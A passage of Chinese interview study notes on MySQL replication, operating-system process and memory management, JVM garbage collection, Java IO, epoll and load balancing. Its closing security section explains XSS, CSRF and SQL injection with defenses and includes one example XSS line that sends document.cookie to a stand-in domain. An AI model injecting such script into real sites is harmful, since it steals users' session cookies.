  • 并发:MyISAM只支持表级锁,而InnoDB还支持行级锁。
  • 外键:InnoDB支持外键。
  • 备份:InnoDB支持在线热备份。
  • 崩溃恢复:MyISAM崩溃后发生损坏的概率比InnoDB高很多,而且恢复的速度也更慢。
  • 其他特性:MyISAM支持压缩表和空间数据索引。

 (3)主从复制

主要涉及三个线程:

  • binlog线程:负责将主服务器上的数据更改写入二进制日志(Binary log)中。
  • I/O线程:负责从主服务器上读取二进制日志,并写入从服务器的重放日志(Replay log)中。
  • SQL线程:负责读取重放日志并重放其中的SQL语句。

(4)读写分离

主服务器处理写操作以及实时性要求比较高的读操作,而从服务器处理读操作。

为什么要读写分离?

  • 主从服务器负责各自的读和写,极大程度缓解了锁的争用。
  • 从服务器可以使用MyISAM,提升查询性能以及节约系统开销。
  • 增加冗余,提高可用性。

四、操作系统

进程管理

进程与线程

1.进程

进程是资源分配的基本单位。

进程控制块(Process Controller Block, PCB)描述进程的基本信息和运行状态,所谓的创建进程和撤销进程,都是指对PCB的操作。

2.线程

线程是独立调度的基本单位。

一个进程中可以有多个线程,他们共享进程资源。

3.进程和线程的区别

  • 拥有资源:进程是资源分配的基本单位,但是线程不拥有资源,线程可以访问隶属进程的资源。
  • 调度:线程是独立调度的基本单位,再同一进程中,线程的切换不会引起进程切换,从一个进程中的线程切换到另一个进程中的线程时,会引起进程切换。
  • 系统开销:由于创建或撤销进程时,系统都要为之分配或回收资源,如内存空间、I/O设备等,所付出的开销远大于创建或撤销线程时的开销。类似地,再进行进程的切换时,涉及当前执行进程CPU环境的保存及新调度进程CPU环境的设置,而线程切换时只需保存和设置少量寄存器内容,开销很小。
  • 通信方面:线程间可以通过直接读写同一进程中的数据进行通信,但是进程通信需要借助IPC。

进程控制块

每个进程在操作系统内用进程控制块(PCB)来表示。

  • 进程状态:状态可包括新建、就绪、运行、阻塞、终止等。
  • 程序计数器:计数器表示进程要执行的下个指令的地址。
  • CPU寄存器:累加器、索引寄存器、堆栈指针、通用寄存器等,出现中断时也需要保存。
  • CPU调度信息
  • 内存管理信息:根据操作系统所使用的内存系统,这类信息包括基址和界限寄存器的值、页表和段表
  • 记账信息
  • I/O状态信息:I/O设备列表、打开的文件列表

进程调度算法

批处理系统(没有太多用户操作)

  • 先来先服务(长作业段作业一视同仁)
  • 短作业优先
  • 最短剩余时间优先

交互式系统(有大量的用户操作)

  • 时间片轮转
  • 优先级调度
  • 多级反馈队列

进程同步

  • 临界区
  • 同步与互斥
  • 信号量
  • 管程

经典同步问题

  • 生产者-消费者问题
  • 读者-写者问题
  • 哲学家进餐问题

进程通信

进程同步:控制多个进程按一定顺序执行

进程通信:进程间传输信息

  • 管道
  • FIFO
  • 消息队列
  • 信号量
  • 共享存储
  • 套接字

 死锁

1.为什么会死锁?

  • 互斥:每个资源要么已经分配给了一个进程,要么就是可用的。
  • 占有和等待:已经得到了某个资源的进程可以再请求新的资源。
  • 不可抢占:已经分配给一个进程的资源不能强制性地被抢占,它只能被占有它的进程显示地释放。
  • 环路等待:有两个或者两个以上的进程组成一条环路,该环路中的每个进程都在等待下一个进程所占有的资源。

2.处理方法

  • 鸵鸟策略
    • 忽略它
  • 死锁检测与死锁恢复
  • 死锁预防
    • 破坏引起死锁的四个条件中的任意一条
  • 死锁避免
    • 银行家算法

内存管理

CPU所生成的地址通常称为逻辑地址,而内存单元所看到的地址(即加载到内存地址寄存器中的地址)通常称为物理地址。

运行时从虚拟地址到物理地址的映射是由被称为内存管理单元(memory-management unit,MMU)的硬件设备来完成的。

现在有两种不同的地址:逻辑地址(范围为0到max)和物理地址(范围为R+0到R+max,其中R为基地址)。用户只生成逻辑地址,且认为进程的地址空间为0到max。用户提供逻辑地址,这些地址在使用前必须映射到物理地址。

动态加载

迄今为止所讨论的是一个进程的整个程序和数据必须处于物理内存中,以便执行。因此进程的大小受内存大小的限制。为了获取更好的内存空间使用率,可以使用动态加载。采用动态加载时,一个子程序只有在调用时才被加载。所有子程序都以可重定位的形式保存在磁盘上。

碎片

多种内存分配方法都有外部碎片问题

碎片分为内部碎片和外部碎片

  • 外部碎片:随着进程的装入和移出内存,空闲内存空间被分为小片段,这些属于外部碎片
  • 内部碎片:进程所分配的内存可能比所要的要大,这种在分区内有剩余,但又不能使用的内存,叫内部碎片

虚拟内存

虚拟内存的目的是为了让物理内存扩充成更大的逻辑内存,从而让程序获得更多的可用内存。

为了获得更好的内存管理,操作系统将内存抽象成地址空间。每个程序拥有自己的地址空间,这个地址空间被分割成多个块,每一块成为一页。这些页被映射到物理内存,但不需要映射到连续的物理内存,也不需要所有页都必须在物理内存中。当程序引用到不在物理内存中的页时,由硬件执行必要的映射,将缺失的部分装入物理内存并重新执行失败的指令。

虚拟内存允许程序不用将地址空间中的每一页都映射到物理内存,也就是说一个程序不需要全部调入内存就可以运行,这使得有限的内存运行大程序成为可能。

分页系统地址映射

实现分页的基本方法涉及将物理内存分为固定大小的块,称为帧(frame)

将逻辑内存也分为同样大小的块,称为页。

由CPU生成的每个地址分为两个部分:页号(p)和页偏移(d)。页号作为页表中的索引。页表包含每页所在物理内存的基地址,这些基地址与页偏移的组合就形成了物理地址。

逻辑地址空间为2m,页大小为2n单元,那么m-n位表示页号,而低n位表示页偏移

 分页也是一种动态重定位。每个逻辑地址由分页硬件绑定为一定的物理地址。

采用分页技术不会产生外部碎片:每个帧都可以分配给需要它的进程。不过,分页有内部碎片。

 分页的一个重要特点是用户视角的内存和实际的物理内存的分离。这种将逻辑地址转变成物理地址的映射是用户所不知道的。

操作系统为每个进程维护一个页表的副本,就如同它需要维护指令计数器和寄存器的内容一样。

 每个操作系统都有自己的方法来保存页表。绝大多数都为每个进程分配一个页表。页表的指针与其他寄存器的值(如指令计数器)一起存入进程控制块中。

 将页表放在内存中,并将页表寄存器(page-table base register,PTBR)指向页表,改变页表只需要改变这个寄存器就可以,采用这种方法的问题是访问用户内存位置需要一些时间。对这一问题的标准解决方案是采用小但专用且快速的硬件缓冲,这种缓冲称为转换表缓冲区(translation look-aside buffer,TLB)。

 共享页:分页的优点之一在于可以共享公共代码。

分段地址映射 

采用分页内存管理有一个不可避免的问题:用户视角的内存和实际物理内存的分离。

分段:逻辑地址空间是由一组段组成的。每个段都有名称和长度。地址指定了段名称和段内偏移。因此用户通过两个量来指定地址:段名称和偏移。为了简单起见,段是编号的,是通过段号而不是段名来引用的。

<segment-number, offset>

注意,分段是二维地址,即段号+偏移

分页却是一维地址,虽然它是由页码+页偏移定位的,但它其实是由一个地址通过硬件分为分为页码和偏移,这些对于程序员是不可见的。

虽然用户现在能够通过二维地址来引用程序中的对象,但是实际物理内存仍然是一维序列的字节。通过段表来实现将二维的用户定义地址映射为一维物理地址。

在程序运行过程中,如果要访问的页面不在内存中,就发生缺页中断从而将该页调入内存中。此时如果内存已无空闲空间,系统必须从内存中调出一个页面到磁盘对换区中来腾出空间。

页面置换算法的主要目标是使页面置换频率最低(也可以说缺页率最低)。

  • 最佳替换算法(理论上的算法,预知所有访问页面的序列)
  • 最近最久未使用
  • 最近未使用
  • 先进先出
  • 第二次机会算法
  • 时钟

 五、Java虚拟机

 运行时数据区域

 

1.程序计数器

记录正在执行的虚拟机字节码指令的地址(如果正在执行的是本地方法则为空)。

2.Java虚拟机栈

每个Java方法在执行的同时会创建一个栈帧用于存储局部变量表、操作数栈、常量池引用等信息。从方法调用直至执行完成的过程,就对应着一个栈帧在Java虚拟机栈中入栈和出栈的过程。

 3.本地方法栈

本地方法栈与Java虚拟机栈类似,他们之间的区别只不过是本地方法栈为本地方法服务。

本地方法一般是用其他语言(C、C++或汇编语言等)编写的,并且被编译为基于本机硬件和操作系统的程序,对待这些方法需要特别处理。

4.堆

所有对象都在这里分配,是垃圾收集的主要区域(“GC堆”)。

现代的垃圾收集器基本都是采用分代收集算法,其主要的思想是针对不同类型的对象采用不同的垃圾回收算法。可以将堆分成两块:

  • 新生代
  • 老年代

5.方法区

用于存放已被加载的类信息、常量、静态变量、即时编译器编译后的代码等数据。

6.运行时常量池

运行时常量池是方法区的一部分。

 Class文件中的常量池(编译器生成的字面量和符号引用)会在类加载后放入这个区域。

 7.直接内存

在 JDK 1.4 中新加入了 NIO 类,它可以使用 Native 函数库直接分配堆外内存,然后通过 Java 堆里的 DirectByteBuffer 对象作为这块内存的引用进行操作。这样能在一些场景中显著提高性能,因为避免了在堆内存和堆外内存来回拷贝数据。

 垃圾收集

垃圾收集主要是针对堆和方法区进行的。

程序计数器、Java虚拟机栈和本地方法栈这三个区域属于线程私有的,只存在于线程的生命周期内,线程结束之后也会消失,因此不需要对这三个区域进行垃圾回收。

(1)判断一个对象是否可被回收

1.引用计数算法

为对象添加一个引用计数器,当对象增加一个引用时计数器加1,引用失效时计数器减1。引用计数为0的对象可被回收。

两个对象出现循环引用的情况下,此时引用计数器永远不为0,导致无法对它们进行回收。正因为循环引用的存在,因此Java虚拟机不使用引用计数算法。

2.可达性分析算法

通过GC Roots作为起始点进行搜索,能够到达的对象都是存活的,不可达的对象可被回收。

Java虚拟机使用该算法来判断对象是否可被回收,在Java中GCRoots一般包含以下内容:

  • 虚拟机栈中局部变量表中引用的对象
  • 本地方法栈中JNI中引用的对象
  • 方法区中类静态属性引用的对象
  • 方法区中的常量引用的对象

 3.方法区的回收

因为方法区主要存放永久代对象,而永久代对象的回收率比新生代低很多,因此在方法区上进行回收性价比不高。

主要是对常量池(字面量和符号引用)的回收和对类的卸载。

为了避免内存溢出,在大量使用反射、动态代理的场景都需要虚拟机具备类卸载功能。

类的卸载条件很多,需要满足以下三个条件,但是满足了也不一定会被卸载:

  • 该类所有的实例都已经被回收,此时队中不存在该类的任何实例。
  • 加载该类的ClassLoader已经被回收。
  • 该类对应的Class对象没有在任何地方被引用,也就无法在任何地方通过反射访问该类方法。

4.finalize()

finalize()类似C++的析构函数,用于关闭外部资源。但是 try-finally 等方式可以做的更好,并且该方法运行代价很高,不确定性大,无法保证各个对象的调用顺序,因此最好不要使用。

当一个对象可被回收时,如果需要执行该对象的finalize()方法,那么就有可能在该方法中让对象重新被引用,从而实现自救,自救只能进行一次,如果回收的对象之间调用了finalize()方法自救,后面回收时不会调用finalize()方法。

引用类型

无论时通过引用计数算法判断对象的引用数量,还是通过可达性分析算法判断对象是否可达,判断对象是否可被回收都与引用有关。

Java提供了四种强度不同的引用。

  • 强引用:不会被回收
  • 软引用:只有在内存不过的情况下才会被回收
  • 弱引用:一定会被回收,只能存活到下一次垃圾收集发生之前
  • 虚引用:不会对其生存时间造成影响,唯一目的是在这个对象被回收时收到一个系统通知。

垃圾收集算法

1.标记 - 清除

只清除要回收的对象,不做其他任何操作。

不足:

  • 标记和清除过程效率都不高。
  • 会产生大量不连续的内存碎片,导致无法给大对象分配内存。

2.标记 - 整理

让所有存活的对象都像一端移动,然后直接清理掉端边界以外的内存。

3.复制

将内存划分为大小相等的两块,每次只使用其中一块,当这一块内存用完了就将还存活的对象复制到另一块上面,然后再把使用过的内存空间进行一次清理。

主要不足是只使用了内存的一半。

现在的商业虚拟机都采用这种收集算法回收新生代,但并不是划分为大小相等的两块,而是一块较大的Eden空间和两块较小的survivor空间(8:1:1)。如果每次回收有多余10%的对象存活,那么一块Survivor空间就不够用了,此时需要依赖于老年代进行空间分配担保,也就是借用老年代的空间存储放不下的对象。

 4.分代收集

现在的商业虚拟机采用分代收集算法,它根据对象存活周期将内存划分为几块,不同块采用适当的收集算法。

一般将堆分为新生代和老年代。

  • 新生代:复制算法
  • 老年代:标记-清除 或者 标记-整理

 内存分配与回收策略

1.Minor GC 和 Full GC

  •  Minor GC:回收新生代上,因为新生代对象存活时间很短,因此Minor GC会频繁执行,执行速度一般也会比较快。
  • Full GC:回收老年代和新生代,老年代对象其存活时间长,因此Full GC很少执行,执行速度会比Minor GC慢很多。

2.内存分配策略

  • 对象优先在Eden分配:当Eden区空间不够时,发起Minor GC。
  • 大对象直接进入老年代:大对象如很长的字符串以及数组,需要连续的内存空间,经常出现大对象会提前触发垃圾收集以获取足够的连续空间分配给大对象,大于一定值的对象直接在老年代分配,避免在新生代被复制算法大量复制。
  • 长期存活的对象进入老年代:为对象定义年龄计数器,经过一个Minor GC且仍然存活,则年龄+1,增加到一定年龄则移动到老年代中。
  • 动态对象年龄判定:如果在Survivor中相同年龄所有对象大小的总和大于Survivor空间的一半,则>=该年龄的对象可以直接进入老年代。
  • 空间分配担保:在Minor GC之前,虚拟机要保证老年代最大可用的连续空间要大于新生代所有对象空间,如果不能保证,并且HandlePromotionFailure设置值允许担保失败,则检查老年大最大可用的连续空间是否大于历次晋升到老年代对象的平均大小,若大于,则尝试进行一次Minor GC。若小于,则Full GC。

 2.Full FC的触发条件

对于Minor GC,其触发条件非常简单,当Eden空间满时,就将触发一次Minor GC。而Full FC相对复杂:

  • 调用System.gc():建议虚拟机执行Full GC,但不一定真正执行。不建议使用,而是让虚拟机管理内存。
  • 老年代不足:大对象直接进入老年代、长期存活的对象进入老年代等。
  • 空间分配担保失败:使用复制算法的Minor GC需要老年代的内存空间作担保
  • JDK 1.7及以前的永久代空间不足
  • Concurrent Mode Failure

 类加载机制

 类是在运行期间第一次使用时动态加载的,而不是一次性加载。因为如果一次性加载,那么会占用很多的内存。

 1.类的生命周期

  • 加载
  • 验证
  • 准备
  • 解析
  • 初始化
  • 使用
  • 卸载 

 2.类加载过程

(1)加载

类加载的第一个阶段

加载过程完成以下三件事:

  • 通过一个类的权限定名来获取定义此类的二进制字节流。
  • 将这个字节流所代表的静态存储结构转化为方法区的运行时存储结构。
  • 在内存中生成一个代表这个类的Class对象,作为方法区这个类的各种数据的访问入口。

(2)验证

确保Class文件的字节流中包含的信息符合当前虚拟机的要求,并且不会危害虚拟机自身的安全。

(3)准备

类变量是被static修饰的变量,准备阶段为类变量分配内存并设置初始值,使用的是方法区的内存。

实例变量不会再这阶段分配内存,它将会再对象实例化时随着对象一起分配再内存中。

(4)解析

将常量池的符号引用替换为直接引用的过程。

(5)初始化

初始化阶段才真正开始执行类中定义的Java程序代码。初始化阶段即虚拟机执行类构造器<clinit>()方法的过程。再准备阶段,类变量已经赋过一次系统要求的值,而在初始化阶段,根据程序员通过程序指定的主观计划区初始化类变量和其他资源。

<clinit>()是由编译器自动收集类中所有类变量的赋值动作和静态语句块中的语句合并产生的,编译器收集的顺序由语句再源文件中出现的顺序决定。

3.类初始化时机

  • 主动引用(会引发初始化)
  • 被动引用(不会引发初始化)

六、Java IO

概览

Java的I/O:

  • 磁盘操作:File
  • 字节操作:InputStream和OutputStream
  • 字符操作:Reader和Writer
  • 对象操作:Serializable
  • 网络操作:Socket
  • 新的输入/输出:NIO

磁盘操作

File

字节操作

装饰者模式

字符操作

1.编码和解码

编码:将字符转换为字节

解码:将字节转换为字符

 2.String的编码方式

String str1 = "中文";
byte[] bytes = str1.getBytes("UTF-8");
String str2 = new String(bytes, "UTF-8");
System.out.println(str2);

3.Reader与Writer

  • InputStreamReader实现从字节流解码成字符流
  • OutputStreamWriter实现从字符流编码成字节流

对象操作

 1.序列化

 序列化就是将一个对象转换成字节序列,方便存储和传输。

  • 序列化:ObjectOutputStream.writeObject()
  • 反序列化:ObjectInputStream.readObject()

2.transient

transient关键字可以使一些属性不被序列化。

 网络操作

 Java中的网络支持:

  • InetAddress
  • URL
  • Sockets:TCP
  • Datagram:UDP

 NIO

 新的输入/输出(NIO)库是在JDK1.4中引入的,弥补了原来的I/O的不足,提供了高速的、面向块的I/O。

1.NIO和普通I/O的区别主要有以下两点:

  • NIO是非阻塞的
  • NIO面向块,I/O面向流

 七、Socket

I/O模型

 一个输入操作通常包括两个阶段:

  • 等待数据准备好
  • 从内核向进程复制数据

对于一个套接字的输入操作,第一步通常涉及等待数据从网络中到达。当所等待数据到达时,它被复制到内核中的某个缓冲区。第二步就是把数据从内核缓冲区复制到应用进程缓冲区。

 Unix有5种I/O模型:

  • 阻塞式I/O
  • 非阻塞式I/O
  • I/O复用(select和poll)
  • 信号驱动式I/O
  • 异步I/O

1.阻塞式I/O

应用程序被阻塞,知道数据复制到应用进程缓冲区中才返回。

应该注意到,在阻塞的过程中,其他程序还可以执行,因此阻塞不意味着整个操作系统都被阻塞。因为其他程序还可以执行,所以不消耗CPU时间,这种模型的CPU利用率会比较高。

 2.非阻塞式I/O

应用进程执行系统调用之后,内核返回一个错误码。应用进程可以继续执行,但是需要不断的执行系统调用来获知I/O是否完成,这种方式成为轮询(polling)。

 3.I/O复用

使用select或者poll等待数据,并且可以等待多个套接字中的任何一个变为可读。这一过程会被阻塞,当某一个套接字可读时返回,之后再使用recvfrom把数据从内核复制到进程中。

它可以让单个进程具有处理多个I/O事件的能力。又被称为事件驱动I/O。

4.信号驱动I/O

应用进程使用sigaction系统调用,内核立即返回,应用进程可以继续执行,也就是说等待数据阶段应用进程是非阻塞的。内核在数据到达时向应用进程发送SIGIO信号,应用进程收到之后在信号处理程序中调用recvfrom将数据从内核复制到应用进程中。

相比于非阻塞式I/O的轮询方式,信号驱动I/O的CPU利用率更高。

 5.异步I/O

应用进程执行aio_read系统调用会立即返回,应用程序可以继续执行,不会被阻塞,内核会在所有操作完成之后向应用进程发送信号。

异步I/O与信号驱动I/O的区别在于,异步I/O的信号是通知应用进程I/O完成,而信号驱动I/O是通知应用进程可以开始I/O。

 五大I/O模型比较

  • 同步I/O:将数据从内核缓冲区复制到应用进程缓冲区的阶段,应用会被阻塞。
  • 异步I/O:不会阻塞。

阻塞式I/O、非阻塞式I/O、I/O复用和信号驱动I/O都是同步I/O,它们的主要区别在第一个阶段。

 非阻塞式I/O、信号驱动I/O和异步I/O在第一阶段不会阻塞。

I/O复用

 select/poll/epoll都是I/O多路复用的具体实现,select出现的最早,之后是poll,再是epoll。

  • select应用场景:timeout精确度为1ns,poll和epoll为1ms,适用于实时性要求比较高的场景。
  • poll应用场景:没有最大描述符数量的限制,并且对实时性要求不高。
  • epoll应用场景:linux平台,轮询的描述符数量大,最好为长连接。

I/O复用

I/O复用是指内核一旦发现进程指定的一个或多个I/O条件准备读取,它就通知该进程。与多进程和多进程技术相比,I/O复用技术的最大优势是系统开销小,系统不必创建进程/线程,也不必维护这些进程/线程,从而大大减小了系统的开销。

I/O复用中通过以下三种机制中的一种,可以监视多个描述符,一旦某个描述符就绪(一般是读就绪或者写就绪),能够通知程序进行响应的读写操作。但select,poll,epoll本质上都是同步I/O,因为它们都需要在读写事件就绪后自己负责进行读写,也就是说这个读写过程是阻塞的,而异步I/O无序自己负责进行读写,异步I/O的实现会负责把数据从内核拷贝到用户空间:

  • int select(int maxfdp1, fd_set *readset, fd_set *writeset, fd_set *exceptset, const struct timeval *timeout)

该函数准许进程指示内核等待多个事件中的任何一个发送,并只在有一个或多个事件发生或经历一段指定的时间后才唤醒。

(1)maxfdp1:指定待测试的描述字个数

(2)readset、writeset、exceptset指定我们要让内核测试读、写和异常条件的描述字。

(3)timeout:告知内核等待所指定描述字中的任何一个就绪可花多少时间(永远等下去/等段一端固定时间/根本不等待)

  • int poll(struct pollfd *fds, unsigned int nfds, int timeout)

poll的机制和select类似,与select在本质上没有多大差别,管理多个描述符也是进行轮询,根据描述符的状态进行处理,但是poll没有最大文件描述符数量的限制。poll和select同样存在一个缺点就是,包含大量文件描述符的数组被整体复制于用户态和内核的地址空间之间,而不论这些文件描述符是否就绪,它的开销随着文件描述符数量的增加而线性增大。

struct pollfd{
    int fd;         //文件描述符
    short events;   //等待的事件
    short revents;  //实际发生了的事件       
};

每一个pollfd结构体指定了一个被监视的文件描述符,可以传递多个结构体,指示poll()监视多个文件描述符。

events域是监视该文件描述符的事件掩码,由用户来设置这个域。

revents域是文件描述符的操作结果事件掩码,内核在调用返回时设置这个域。

events域中请求的任何事件都可能在revents域中返回。合法的事件如下:

POLLIN                        有数据可读

POLLRDNORM           有普通数据可读

POLLRDBAND            有优先数据可读

POLLPRI                     有紧迫数据可读

POLLOUT                    写数据不会导致阻塞

POLLWRNORM           写普通数据不会导致阻塞

POLLWRBAND            写优先数据不会导致阻塞

POLLMSGSIGPOLL    消息可用

此外,revents域中还可能返回下列事件:

POLLER                       指定的文件描述符发生错误

POLLHUP                    指定的文件描述符挂起事件

POLLNVAL                   指定的文件描述符非法

  • int epoll_create(int size);
  • int epoll_ctl(int epfd, int op, int fd, struct epoll_event *event);
  • int epoll_wait(int epfd, struct epoll_event *event, int maxevents, int timeout);

(1)int epoll_create(int size);

  创建一个epoll的句柄,size用来告诉内核这个监听的数目一共有多大。这个参数不同于select()中的第一个参数,给出最大监听的fd+1的值。需要注意的是,当创建好epoll句柄后,它就是会占用一个fd值,在linux下如果查看/proc/进程id/fd,是能够看到这个fd的,所以在使用完epoll后,必须调用close()关闭,否则可能导致fd被耗尽。

(2)int epoll_ctl(int epfd, int op, int fd, struct epoll_event *event);

  epoll的时间注册函数,他不同于select()是在监听事件时告诉内核要监听什么类型的事件epoll的事件注册函数,而是在这里先注册要监听的时间类型。第一参数是epoll_create()的返回值,第二个参数表示动作,用三个宏表示:

  EPOLL_CTL_ADD:注册新的fd到epfd中;

  EPOLL_CTL_MOD:修改已经注册的fd的监听事件;

  EPOLL_CTL_DEL:从epfd中删除一个fd;

第三个参数是需要监听的fd,第四个参数是告诉内核需要监听什么事件,struct epoll_event结构如下:

struct epoll_event{
    __uint32_t events;             // Epoll events
    epoll_data_t data;              // User data variable    
}

(3)int epoll_wait(int epfd, struct epoll_event *event, int maxevents, int timeout);

  等待事件的产生,类似于select()调用。参数events用来从内核得到事件的集合,maxevents告之内核这个events有多大,这个maxevents的值不能大于epoll_create()时的size,参数timeout是超时时间。该函数返回要处理的事件数目,如返回0表示已超时。

epoll对文件描述符的操作有两种模式,LT(level trigger)和ET(edge trigger)。LT模式是默认模式,LT模式和ET模式的区别如下:

LT模式:当epoll_wait检测到描述符事件发生并将此事件通知应用程序,应用程序可以不立即处理该事件。下次调用epoll_wait时,会再次响应应用程序并通知此事件。

ET模式:当epoll_wait检测到描述符事件发生并将此事件通知应用程序,应用程序必须立即处理该事件。如果不处理,下次调用epoll_wait时,不会再次响应应用程序并通知此事件。

ET模式在很大程度上减少了epoll事件被重复触发的次数,因此效率要比LT模式高。epoll工作在ET模式的时候,必须使用非阻塞套接口,以避免由于一个文件句柄的阻塞读/阻塞写操作把处理多个文件描述符的任务饿死。

select的几大缺点:

(1)每次调用select,都需要把fd集合从用户态拷贝到内核态,这个开销在fd很多时会很大

(2)同时每次调用select都需要在内核遍历传递进来的所有fd,这个开销在fd很多时也很大

(3)select支持的文件描述符太小了,默认是1024

poll的实现和select类似

epoll:

epoll是对select和poll的改进,就应该能避免上述的三个缺点:

对于第一个缺点,epoll的解决方案在epoll_ctl函数中。每次注册新的事件到epoll句柄中(在epoll_ctl中指定EPOLL_CTL_ADD),会把所有的fd拷贝进内核,而不是在epoll_wait的时候重复拷贝。epoll保证了每个fd在整个过程中只会拷贝一次。

对于第二个缺点,epoll的解决方案不像select或poll一样每次都把current轮流加入fd对应的设备等待队列中,而只在epoll_ctl时把current挂一遍(这一遍必不可少),并为每个fd指定一个回调函数,当设备就绪,唤醒等待队列上的等待者时,就会调用这个回调函数,而这个回调函数会把就绪的fd加入一个就绪链表。epoll_wait的工作实际上就是在这个就绪链表中查看有没有就绪的fd(利用schedule_timeout()实现睡一会,判断一会的效果)

对于第三个缺点,epoll没有这个限制,它所支持的fd上限是最大可以打开文件的数目,这个数字一般远大于2048。

总结:

(1)select、poll实现需要自己不断轮询所有fd集合,知道设备就绪,期间可能要睡眠和唤醒多次交替。而epoll其实也需要调用epoll_wait不断轮询就绪链表,期间也可能多次睡眠和唤醒交替,但是它是设备就绪时,调用回调函数,把就绪fd放入就绪链表中,并唤醒在epoll_wait中进入睡眠的进程。虽然都要睡觉和交替,但是select和poll在”醒着“的时候要遍历整个fd集合,而epoll在”醒着“的时候只要判断以下就绪链表是否为空就行了,这节省了大量的CPU时间。这就是回调机制带来的性能提升。

(2)select、poll每次调用都要把fd集合从用户态往内核态拷贝一次,并且要把current往设备等待队列中挂一次,而epoll只要一次拷贝,而且把current往等待队列上挂也只挂一次(在epoll_wait的开始,注意这里的等待队列并不是设备等待队列,只是一个epoll内部定义的等待队列)。这也能节省不少的开销。

八、系统设计

 1.系统设计基础

  • 性能
    • 性能指标
      • 响应时间
      • 吞吐量
      • 并发用户数
    • 性能优化
      • 集群
      • 缓存
      • 异步
  • 伸缩性
    • 不断向集群中添加服务器来缓解不断上升的用户并发访问压力和不断增长的数据存储需求
  • 扩展性
    • 消息队列
    • 分布式服务
  • 可用性
    • 冗余
    • 监控
    • 服务降级
  • 安全性

2.分布式

3.集群

(1)负载均衡

集群中的应用服务器(节点)通常被涉及成无状态,用户可以请求任何一个节点。

负载均衡器会根据集群中每个节点的负载情况,将用户请求转发到合适的节点上。

负载均衡器可以用来实现高可用以及伸缩性。

负载均衡器运行过程包含两个部分:

  • 根据负载均衡算法得到转发的节点
  • 进行转发

负载均衡算法:

1)轮询(Round Robin)

轮询算法把每个请求轮流发送到每个服务器上,该算法比较适合每个服务器的性能差不多的场景下。

2)加权轮询(Weighted Round Robin)

加权轮询是在轮询的基础上,根据服务器的性能差异,为服务器赋予一定的权值,性能高的服务器分配更高的权值。

 3)最小连接(least Connections)

由于每个请求的连接时间不一样,使用轮询或者加权轮询算法的话,可能会让一台服务器当前连接数过大,而另一台服务器的连接过小,造成负载不均衡。

最小连接算法就是将请求发送给当前最少连接数的服务器上。

 4)加权最小连接(Weighted Least Connection)

在最小连接的基础上,根据服务器的性能为每台服务器分配权重,再根据权重计算出每台服务器能处理的连接数。

 5)随机算法(Random)

把请求随机发送到服务器上,和轮询算法类似,该算法比较适合服务器性能差不多的场景。

 6)源地址哈希发(IP Hash)

 源地址哈希通过对客户端IP计算哈希值之后,再对服务器数量取模得到目标服务器的序号。

可以保证同一IP的客户端的请求会转发到同一台服务器上,用来实现会话粘滞(Sticky Session)

 转发实现

1)HTTP重定向

HTTP重定向负载均衡服务器使用某种负载均衡算法计算得到服务器的IP地址之后,将该地址写入HTTP重定向报文中,状态码为302。客户端收到重定向报文之后,需要重新向服务器发起请求。

 缺点:

  • 需要两次请求,因此访问延迟比较高
  • HTTP负载均衡器处理能力有限,会限制集群的规模

缺点明显,很少使用。

 2)DNS域名解析

在DNS解析域名的同时使用负载均衡算法计算服务器IP地址。

优点:DNS能够根据地理位置进行域名解析,返回离用户最近的服务器IP地址。

缺点:由于DNS具有多级结构,每一级的域名记录都可能被缓存,当下线一台服务器需要修改DNS记录时,需要过很长一段时间才能生效。

大型网站基本使用了DNS作为第一级负载均衡手段,然后在内部使用其他方式做第二级负载均衡。也就是说,域名解析的结果为内部负载均衡服务器IP地址。

 3)反向代理服务器

反向代理服务器位于源服务器前面,用户的请求需要先经过反向代理服务器才能到达源服务器。反向代理可以用来进行缓存、日志记录等,同时也可以用来作为负载均衡服务器。在这种负载均衡转发方式下,客户端不直接请求源服务器,因此源服务器不需要外部IP地址,而方向代理需要配置内部和外部两套IP地址。

优点:与其他功能集成在一起,部署简单

缺点:所有请求和相应都需要经过反向代理服务器,它可能会成为性能瓶颈

4)网络层

在操作系统内核进程获取网络数据包,根据负载均衡算法计算服务器的IP地址,并修改请求数据包的目的IP地址,最后进行转发。

源服务器返回的相应也需要经过负载均衡服务器,通常是让负载均衡服务器同时作为集群的网关服务器来实现。

 优点:在内核进程中进行处理,性能比较高

缺点:和反向代理一样,所有的请求和响应都经过负载均衡服务器,会成为性能瓶颈。

 5)链路层

在链路层根据负载均衡算法计算源服务器的MAC地址,并修改请求数据包的目的MAC地址,并进行转发。通过配置源服务器的虚拟IP地址和负载均衡器的IP地址一致,从而不需要修改IP就可以进行转发。也正因为IP地址一样,所以源服务器的响应不需要专发回负载均衡服务器,可以直接转发给客户端,避免了负载均衡服务器的性能成为瓶颈。

这是一种三角传输模式,被称为直接路由。对于提供下载和视频服务的网站来说,直接路由避免了大量的网络传输经过负载均衡服务器。

这是目前大型网站使用最广负载均衡转发方式。

 (2)集群下的Session管理

  • Sticky Session:使用负载均衡器(IP Hash),使得同一个用户的所有请求都路由到同一个服务器。
  • Session Replication:在服务器之间进行Session同步。
  • Session Server:使用单独的服务器存储Session数据。

 4.攻击技术

(1)跨站脚本攻击

跨站脚本攻击(Cross-Site Scripting,XSS),可以将代码注入到用户浏览的网页上,这种代表包括HTML和JavaScript。

<script>location.href="//domain.com/?c=" + document.cookie</script>

危害:

  • 窃取用户的Cookie
  • 伪造虚假的输入表单骗取个人信息
  • 显示伪造的文章或者图片

 防范手段

  • 设置Cookie为HttpOnly:设置了HttpOnly的Cookile可以防止JavaScript脚本调用
  • 过滤特殊字符:XXS filter将有攻击性的HTML代码进行转义,例如将<转义为&lt,将>转义为&gt,从而避免HTML和JavaScript的代码的运行

 (2)跨站请求伪造

跨站请求伪造(Cross-Site request forgery,CSRF)攻击者通过一些技术手段欺骗用户的浏览器去访问一个用户曾经认证过的网站并执行一些操作(如发邮件,发消息,甚至财产操作如转账和购买商品)。由于浏览器曾经认证过,所以被访问的网站会认为是真正的用户操作而去执行。

XSS利用的是用户对指定网站的信任,CSRF利用的是网站对用户浏览器的信任。

 防范手段:

  • 检查Referer首部字段

Referer首部字段位于HTTP报文中,用于标识请求来源的地址。检查这个首部字段并要求请求来源的地址在同一个域名下,可以极大的防止CSRF攻击。(个人理解是,伪造的请求,其来源于黑客的网站,正规的请求来源为官网)

  •  添加校验Token

在访问敏感数据请求时,要求用户浏览器提供不保存在Cookie中,并且攻击者无法伪造的数据作为校验。例如服务器生成随机数并附加在表单中,并要求客户端传回这个随机数。

  • 输入验证码

(3)SQL注入攻击

服务器上的数据库运行非法的SQL语句,主要通过拼接来完成。

防范手段:

